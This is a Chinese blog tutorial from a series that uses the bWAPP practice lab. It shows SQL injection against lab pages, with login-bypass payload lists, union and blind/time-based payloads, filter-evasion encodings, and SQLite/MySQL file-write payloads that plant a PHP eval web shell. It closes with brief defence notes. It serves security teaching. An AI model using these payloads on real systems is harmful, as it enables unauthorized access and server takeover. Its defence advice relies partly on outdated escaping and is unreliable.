跟bWAPP学WEB安全(PHP代码)--SQL注入的一些技巧
背景
模拟环境还是 bWAPP,只不过这个bWAPP的SQL注入有点多,一一写意义不大,在这边就利用这个环境来尝试一些SQL注入的技巧。并研究下PHP的防御代码。
普通的bWAPPSQL注入的简单介绍
从get型search到CAPTCHA
简单级
#search
http://192.168.195.195/bWAPP/sqli_1.php?title=c%%27union%20select%201,2,3,version(),database(),6,%27&action=search
#select类
http://192.168.195.195/bWAPP/sqli_2.php?movie=-1%20union%20select%201,2,3,version(),database(),6,7


Login类--万能密码
#密码一栏填写
a' or '1'='1
#同理,账号一栏也可以随意,万能密码常用paylaod,列表
#asp与aspx
"or "a"="a
'.).or.('.a.'='.a
or 1=1--
'or 1=1--
a'or' 1=1--
"or 1=1--
'or.'a.'='a
"or"="a'='a
'or''='
'or'='or'
admin'or 1=1#
#PHP万能密码
'or 1=1/*
"or "a"="a
"or 1=1--
"or"="
"or"="a'='a
"or1=1--
"or=or"
''or'='or'
') or ('a'='a
'.).or.('.a.'='.a
'or 1=1
'or 1=1--
'or 1=1/*
'or"="a'='a
'or' '1'='1'
'or''='
'or''=''or''='
'or'='1'
'or'='or'
'or.'a.'='a
'or1=1--
1'or'1'='1
a'or' 1=1--
a'or'1=1--
or 'a'='a'
or 1=1--
or1=1--
#jsp 万能密码
1'or'1'='1
admin' or 1=1/*

sqlite注入
语句稍有不同,但也没什么区别
#注释符号用/**/
http://192.168.195.195/bWAPP/sqli_11.php?title=c%%27%20union%20select%201,2,%27sql%20injection%27,sqlite_version(),5,6/*&action=search

#可以写文件拿shell
#payload
select * from test where id =1 ;ATTACH DATABASE 'C:\\Sqlite\\xiaozi.php' AS pwn ; CREATE TABLE pwn.exp (dataz text) ; INSERT INTO pwn.exp (dataz) VALUES (' <?php phpinfo(); ?> '); --
#数据包
POST /bWAPP/sqli_12.php HTTP/1.1
Host: 192.168.195.195
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:64.0) Gecko/20100101 Firefox/64.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Referer: http://192.168.195.195/bWAPP/sqli_12.php
Content-Type: application/x-www-form-urlencoded
Content-Length: 209
Connection: close
Cookie: security_level=0; PHPSESSID=feae3419ffc4c0c29111d74fe65e4668
Upgrade-Insecure-Requests: 1
entry=4',sqlite_version());ATTACH DATABASE '/var/www/bWAPP/1.php' AS pwn113 ; CREATE TABLE pwn113.exp (dataz text) ; INSERT INTO pwn113.exp (dataz) VALUES ('<?php @eval($_POST["cdjj"]);?>');-- ' &entry_add=add



类似的还有MySQL写文件获取的shell
# <?php @eval($_POST["cdjj"]);?>
select 0x3c3f70687020406576616c28245f504f53545b2263646a6a225d293b3f3e into outfile '/xxx/shell.php'

插入注入
在sqlite写文件那个中需要插入注入或者非query注入才行,因为一个是PHP执行的exec函数,一个是执行的query函数,后者只运行select语句。Insert语句注入没有什么特殊的,本质是拼接insert语句而不是拼接select语句,注入的东西插入数据,在页面上回显出来可以看到。
POST /bWAPP/sqli_7.php HTTP/1.1
Host: 192.168.195.195
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:64.0) Gecko/20100101 Firefox/64.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Referer: http://192.168.195.195/bWAPP/sqli_7.php
Content-Type: application/x-www-form-urlencoded
Content-Length: 94
Connection: close
Cookie: security_level=0; PHPSESSID=feae3419ffc4c0c29111d74fe65e4668
Upgrade-Insecure-Requests: 1
entry=1',(select/**/if(substring(@@version,1,1)=5,LOAD_FILE('/etc/passwd'),'NO'))); #&blog=add

LOAD_FILE('/etc/passwd') #MySQL读文件
有些HTTP Header头字段也可以注入

盲注
#布尔型,这里可以用 > < between做二分判断,between也可以用来绕过< >过滤
IF(substring(database(),1,1)=b,'YES','NO')
#时间型
' and if(1=0,1, sleep(10)) --+
" and if(1=0,1, sleep(10)) --+
) and if(1=0,1, sleep(10)) --+
') and if(1=0,1, sleep(10)) --+
") and if(1=0,1, sleep(10)) --+
#postgresql
pg_sleep(5)
编码和绕过
大小写绕过关键字检测
select->sELeCt
加分隔符绕过
select->sEL/**/eCt
空格转分隔符绕过或者括号绕过
union select->union/**/select
where 1=1->where(1=1)
URL转码
#->%23
十六进制编码绕过引号过滤(hex)
'users'->0x7573657273
char编码绕过(ascii)
Test->CHAR(101)+CHAR(97)+CHAR(115)+CHAR(116)
宽字节和双重编码
%xx%xx->(%xx%xx)%xx->括号中成为宽字节
双重编码%2527->第一次解码成为%27(因为%25URL解码就是%)->二次解码%27->'(单引号)
防御
函数防御
- 最好的选择:mysql_real_escape_string()
- 一般的选择:addslashes()
配置防御:
- 配置php.ini magic_quotes_gpc=On
PDO和预编译
- 先执行mysql连接对象的prepare函数准备sql语句的雏形,然后执行bind_param函数填充用户输入的数据。
- 使用PDO,先prepare,然后使用bindValue函数,与前者类似。
跟bWAPP学WEB安全(PHP代码)--SQL注入的一些技巧的更多相关文章
- 跟bWAPP学WEB安全(PHP代码)--XPath注入
XML/Xpath注入 看了下,A2里面是认证与会话管理的破坏或称之为绕过,没有特别要写的,很多就是小问题,可能会将这类问题放在最后写一下.一篇博客,这里还是更多的着重在能够获取信息或者服务器权限的漏 ...
- 跟bWAPP学WEB安全(PHP代码)--HTML注入和iFrame注入
背景 这里讲解HTML注入和iFrame注入,其他的本质都是HTML的改变.那么有人会问,XSS与HTML注入有啥区别呢?其实本质上都是没有区别的,改变前端代码,来攻击客户端,但是XSS可以理解为注入 ...
- 跟bWAPP学WEB安全(PHP代码)--认证绕过与会话管理
背景 这里主要是代码逻辑问题,而不是代码使用函数的问题,因此在这个里面就不粘贴具体代码了,而是分类介绍下bWAPP中涉及的安全问题: 验证码问题 找回问题 账号口令问题 Cookies问题 Sessi ...
- 跟bWAPP学WEB安全(PHP代码)--邮件头和LDAP注入
背景 由于时间限制和这俩漏洞也不是特别常用,在这里就不搭建环境了,我们从注入原来和代码审计的角度来看看. 邮件头注入 注入原理: 这个地方首先要说一下邮件的结构,分为信封(MAIL FROM.RCPT ...
- 跟bWAPP学WEB安全(PHP代码)--终结篇:文件目录遍历、文件上传、SSRF、CSRF、XXE、文件包含
前言 过年过的很不顺,家里领导和我本人接连生病,年前腊月29才都治好出院,大年初六家里的拉布拉多爱犬又因为细小医治无效离开了,没能过年回家,花了好多钱,狗狗还离世了.所以也就没什么心思更新博客.今天初 ...
- 跟bWAPP学WEB安全(PHP代码)--OS命令注入
背景 这是温故知新的一个系列,也是重新拾起WEB安全的一个系列,同时希望能稍微有点对初学者的帮助.第一篇先来讲讲OS命令注入 bWAPP里面有两个页面也就是两个漏洞,来验证OS命令注入.一个是有回显的 ...
- 跟bWAPP学WEB安全(PHP代码)--PHP代码注入
---恢复内容开始--- 背景 今天我们换一个方式来分析这个漏洞,从渗透的角度去搞. 渗透过程 测试漏洞 先来看看,观察URL是:http://192.168.195.195/bWAPP/phpi.p ...
- 跟bWAPP学WEB安全(PHP代码)--XSS跨站脚本攻击
背景 这个系列有很多题,但是其实考察的相近,类似的就不在多说,我们来看吧.主要分几个点来讲: 反射型 存储型 JSON XM 头部字段相关 分类介绍 反射型 在请求中构造了XSS的Payload,一般 ...
- 跟bWAPP学WEB安全(PHP代码)--SSL(Server-Side-Include)漏洞
什么是Server-Side-Include漏洞 服务端包含漏洞是指发送指令到服务器,服务器会将指令运行完,把运行结果包含在返回文件中发送给你.利用这种漏洞可以获取服务端的信息甚至执行命令,这样的指令 ...
随机推荐
- VOIP NAT穿越之SIP信令穿越
本文原创自 http://blog.csdn.net/voipmaker 转载注明出处. 本文是VOIP通信NAT系列专题的第三篇, 本文论述NAT对SIP协议穿越的影响.SIP协议是基于文本的,而 ...
- UNIX环境编程学习笔记(4)——文件I/O之dup复制文件描述符
lienhua342014-08-23 UNIX 提供了两个函数 dup 和 dup2 用于复制一个现存的文件描述符. #include <unistd.h> int dup(int fi ...
- FormData 对象的使用
FormData 对象的使用 在本文章中 如何创建一个FormData对象 通过HTML表单创建FormData对象 使用FormData对象上传文件 通过AJAX提交表单和上传文件可以不使用Form ...
- .net的session详解 存储模式 存到数据库中 使用范围与大小限制 生命周期
Session又称为会话状态,是Web系统中最常用的状态,用于维护和当前浏览器实例相关的一些信息.举个例子来说,我们可以把已登录用户的用户名放在Session中,这样就能通过判断Session中的某个 ...
- 添加额外的源, 使得yum可以安装更多的软件
RHEL 官方扩展源 yum localinstall http://dl.fedoraproject.org/pub/epel/7/x86_64/e/epel-release-7-5.noarch. ...
- SpringBoot自动配置xxxAutoConfiguration 的使用
https://sdqali.in/blog/2016/07/16/controlling-redis-auto-configuration-for-spring-boot-session/ 常用的类 ...
- SPOJ QTREE5 lct
题目链接 对于每一个节点,记录这个节点所在链的信息: ls:(链的上端点)距离链内部近期的白点距离 rs:(链的下端点)距离链内部近期的白点距离 注意以上都是实边 虚边的信息用一个set维护. set ...
- http 返回码 405 解决方案之一
今天做网络请求数据的时候遇到返回码405,当时就傻了~~ 故事是这样的-- 我用post请求访问一个url,服务端数据是一个json的txt文件,理论上直接访问,返回json,然后解析就没事了,可是今 ...
- js数组获取相同元素个数,归档排序
<!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8&quo ...
- Docker应用之仓库
仓库是存放镜像的地方 注册服务器是管理仓库的具体服务器,每个服务器上可以有多个仓库,每个仓库也可以有多个镜像 如 dl.dockerpool.com/ubuntu ,dl.dockerpool.com ...